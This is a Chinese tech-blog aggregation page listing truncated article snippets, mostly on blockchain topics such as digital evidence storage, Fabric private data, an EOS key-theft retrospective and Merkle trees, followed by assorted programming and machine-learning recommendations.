    区块链数字存证平台通常包括以下功能模块 数字存证 将数字文件的哈希值存储到区块链上 确保文件的完整性和不可篡改性 时间戳 记录数字文件的创建时间和存证时间 确保存证的时效性和证据的可信度 鉴定证书 提供数字文件的鉴定证书 证明文件的真实性和
  • Bridge Champ举办人机对战赛:NFT游戏与传统竞技共生发展编织新格局

    概要 现在 NFT与体育竞技正日益紧密地联系在一起 一些体育项目开始推出与赛事或球队相关的NFT 同时也有部分NFT游戏开始举办电子竞技赛事 这种共生发展正在改变体育竞技的生态 笔者采访了桥牌冠军项目相关负责人 探讨NFT游戏与传统体育竞技
  • 交易的本质 什么样的信仰,决定什么样的交易人生

    什么样的信仰 决定什么样的生活 同样 什么样的理念 也决定了什么样的交易 多数的交易员都把能否在交易市场稳定化盈利归结于自己从事这个行业的时间 通常很多人会说五年入门 十年小成等等 好像只要坚持个五年十年就能够在交易市场找到自己的位置 你信
  • AWS动手实验 - 创建一个Web3网站

    实验操作和录播 亚马逊云科技开发者社区 web3 dApp demo README CN md at main Chen188 web3 dApp demo GitHub 注意事项 按照操作手册进行即可 需要注意到的几个地方 1 EC2 的
  • Fabric private data入门实战

    Hyperledger Fabric private data是1 2版本引入的新特性 fabric private data是利用旁支数据库 SideDB 来保存若干个通道成员之间的私有数据 从而在通道之上又提供了一层更灵活的数据保护机制
  • 近千万EOS被盗事件回顾,大家请保护好自己的EOS私钥

    最近有伙伴被盗了价值近千万的EOS 于是查看了这次被盗活动账号记录 这次分享出来 一是有可能大家有线索 二是也让大家意识到数字货币私钥安全的重要性 事件回顾 受害人在7 9号被偷盗人通过update auth更换了账号授权公私钥 紧接着被转
  • 波场TRON将致力于推动各方合作打击恐怖主义融资

    随着加密行业的蓬勃发展 新的挑战也接踵而至 近期 有外媒报道称 哈马斯等美国认定的国际恐怖组织涉通过波场TRON进行融资活动 在这场风波中 区块链项目波场TRON似乎成为了质疑的焦点 然而 当我们深入了解事实真相时 或许会发现事情并非传言中
  • Cumulus Encrypted Storage System(CESS)激励测试网 v0.7.5 于11月29日正式上线

    Cumulus Encrypted Storage System CESS 是基于区块链的去中心化云存储网络和 CDN 网络 支持数据在线存储和实时共享 为 Web3 高频动态数据的存储和检索提供全栈解决方案 CESS 数据价值网络是以 D
  • 扬帆证券:玻璃期价涨势强劲 投资者需理性看待

    上个交易周 国内产品期货商场全体工作平稳 其间 玻璃期货体现较为出色 主力合约上星期五午后忽然大幅拉升 毕竟收涨逾7 周内累计涨幅超越10 业内人士以为 近期玻璃期价走势强劲主要是受地产政策利好和本钱增加的推动 后市行情或将偏震动 上涨持续
  • 默克尔树(Merkle Tree)

    默克尔树 Merkle Tree 是一种哈希树的变体 它是一种有向无环图 DAG 通常用于数据完整性验证 它以密码学家拉尔夫 默克尔的名字命名 是由一系列哈希值构成的树状结构 默克尔树的特点是 它的每个非叶子节点都是其子节点的哈希值的哈希
  • 申泰勇教练的独家人物化身系列即将登陆 The Sandbox

    申泰勇 Shin Tae yong 教练是足球界的传奇人物 他来到 The Sandbox 推出了自己的专属人物化身系列 作为前 K 联赛中场球员和印尼队取得历史性成就的幕后教练 他的传奇经历现在已经影响到了虚拟世界 向过去 现在和未来致敬
  • 【网络安全】——区块链安全和共识机制

    区块链安全和共识机制 摘要 区块链技术作为一种分布式去中心化的技术 在无需第三方的情况下 使得未建立信任的交易双方可以达成交易 因此 区块链技术近年来也在金融 医疗 能源等多个行业得到了快速发展 然而 区块链为无信任的网络提供保障的同时 也

随机推荐

  • Deeplabcut教程(二)使用

    因为很久没用这个了所以就一直没更使用教程 写的安装教程收到好几条私信要使用教程 这几天在帮一个朋友跑这个 于是就有了这个使用教程 安装教程 Deeplabcut教程 一 安装 GPU CPU版本 纯新人向 CSDN博客 Step 1 启动
  • ubuntu交叉编译工具arm-linux-gcc安装

    1 安装交叉编译工具 arm linux gcc 安装包4 4 6 TQ210 release 20120720 tar bz2 环境 ubuntu 20 版 已换清华源 1 1解压文件 提取解压1 1 6到home目录 1 2配置环境 打
  • Unkonw column ‘xxx‘ in ’field list‘错误

    Unkonw column xxx in field list 错误 当使用jpa进行数据库操作时 数据库中的数据为 外链图片转存失败 源站可能有防盗链机制 建议将图片保存下来直接上传 img 6I9QHwpX 1680000912061
  • Anaconda/jupyter notebook修改虚拟环境名称

    1 找到用户文件夹下的txt文件 比如C Users your username conda environments txt windows平台 找到当前主用户文件夹 有一个 conda文件夹 里面有一个environments txt文
  • 我的2012移动开发年度总结——革命的一年

    2012年 是我在移动行业畅游的一年 这一年发生了很多事 人生三大事之一结婚 评选csdn专家荣誉称号 坚持写博客写了一年 对手机这个行业总算有了个大体的认识 但是还有一些不顺人意的事 这里就不说了 但有一件事不得不说 在这家公司上班以来
  • QWidget尺寸限定

    1 控件只能在最小和最大之间进行调整 不能超过范围 直接宽高同时设置 window setMinimumSize 200 200 window setMaximumSize 500 500 app QApplication sys argv
  • unity3D游戏开发十之粒子系统

    Shuriken粒子系统是Unity3 5版本新推出的粒子系统 它采用模块化管理 个性化的粒子模块配合粒子曲线编辑器使用户更容易创作出各种缤纷复杂的粒子效果 依次打开菜单栏中的GameObject gt Greate Other gt Pa
  • win10 python如何安装requests———超详细教程

    第一步 先检查你的python安装路径下的Scripts文件里有没有东西 我一开始查看时发现竟然是空白的 去搜寻了答案 python安装文件中 Scripts文件夹中没有文件目录 空白 注 我只是操作了该教程中的第二步 在cmd中输入pyt
  • 区块链的核心:共识机制

    我在上一篇 区块链到底是怎么运行的 一文中 提到了 打包交易 和 广播交易 这两个概念 其实 以上谈到的两个内容正是区块链最核心的技术内容之一 共识机制 在今天的文章中 我们就展开聊一聊区块链共识机制到底是什么 以及区块链的共识过程到底是怎
  • 几种排序算法比较

    前言 排序是按照关键字的非递减或非递增顺序对一组记录重新进行排列的操作 是对无规律的一组序列转化为递增或递减的操作 排序的稳定性 当排序记录中的关键字都部相同时 则任何一个记录的无序序列经过排序后得到的结果都唯一 反之 若存在两个或多个关键
  • 如何进行测试微服务?

    在许多方面 测试微服务应用程序与测试使用任何其他体系结构构建的应用程序没有什么不同 微服务面临的独特挑战是组成应用程序的服务数量之多 以及服务之间的依赖关系数量 作为用于构建复杂系统的体系结构 微服务在开发社区中获得了巨大的关注 尽管人们开
  • 论文理解【IL - IRL】 —— Deep Reinforcement Learning from Human Preferences

    标题 Deep Reinforcement Learning from Human Preferences 文章链接 Deep Reinforcement Learning from Human Preferences blogpost L
  • 基于A*算法自动引导车的路径规划(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 1 概述 2 运行结果 3 参考文献 4 Matlab代码实现 1 概述 动汽车动力系统复杂 行驶工况多变 能耗管理是其研
  • ajax aftersuccess,Ajax jquery success scope

    问题 I have this ajax call to a doop php function doop var old this siblings old html var new this siblings new val ajax u
  • Java 的 Class 文件格式——解析魔数和版本号

    解析 Java 的 Class 文件格式 解析魔数和版本号 作者 陈跃峰 出自 http blog csdn net mailbomb 熟悉 Java 语言有好几年了 技术也学了一些 现在主要从事 J2ME 技术方面的工作 最近工作不是很忙
  • 小学老师工资多少一个月_教师一个月工资是多少? 全国各地教师工资一览

    教师 被誉为人类灵魂的工程师 一直以来教师工资改革都是民生很关注的问题 据获悉 目前中小学教师基本工资都将得到相应的提高 那么 教师一个月工资是多少呢 下面我们来看看全国各地教师工资一览表 教师一个月工资是多少 教师一个月工资是多少呢 全国
  • Python究竟是个啥?为什么985的学生都在学它?早就该曝光了

    现在网上一搜学Python能做什么 无一例外地全跳出来一堆的专业名词 看的时候虎躯一震 看完之后 依然不知道学会了能干啥 不知道大家是不是也有同样的感受 为了解决大家这种困惑 我今天特意花时间总结了一些学完Python能做的工作 力求用最通
  • 【算法】希尔排序C语言实现

    上一篇文章我们一起学习了直接插入排序 它的原理就是把前i个长度的序列变成有序序列 然后循环迭代 直至整个序列都变为有序的 但是说来说去它还是一个时间复杂度为 n 2 的算法 难道就不能再进一步把时间复杂度降低一阶么 可能有很多同学说快速排序
  • linux笔记-awk详解

    简介 awk是一个强大的文本分析工具 相对于grep的查找 sed的编辑 awk在其对数据分析并生成报告时 显得尤为强大 简单来说awk就是把文件逐行的读入 以空格为默认分隔符将每行切片 切开的部分再进行各种分析处理 awk有3个不同版本
  • 以太坊蜜罐智能合约分析

    0 00 前言 在学习区块链相关知识的过程中 拜读过一篇很好的文章 The phenomenon of smart contract honeypots 作者详细分析了他遇到的三种蜜罐智能合约 并将相关智能合约整理收集到Github项目sm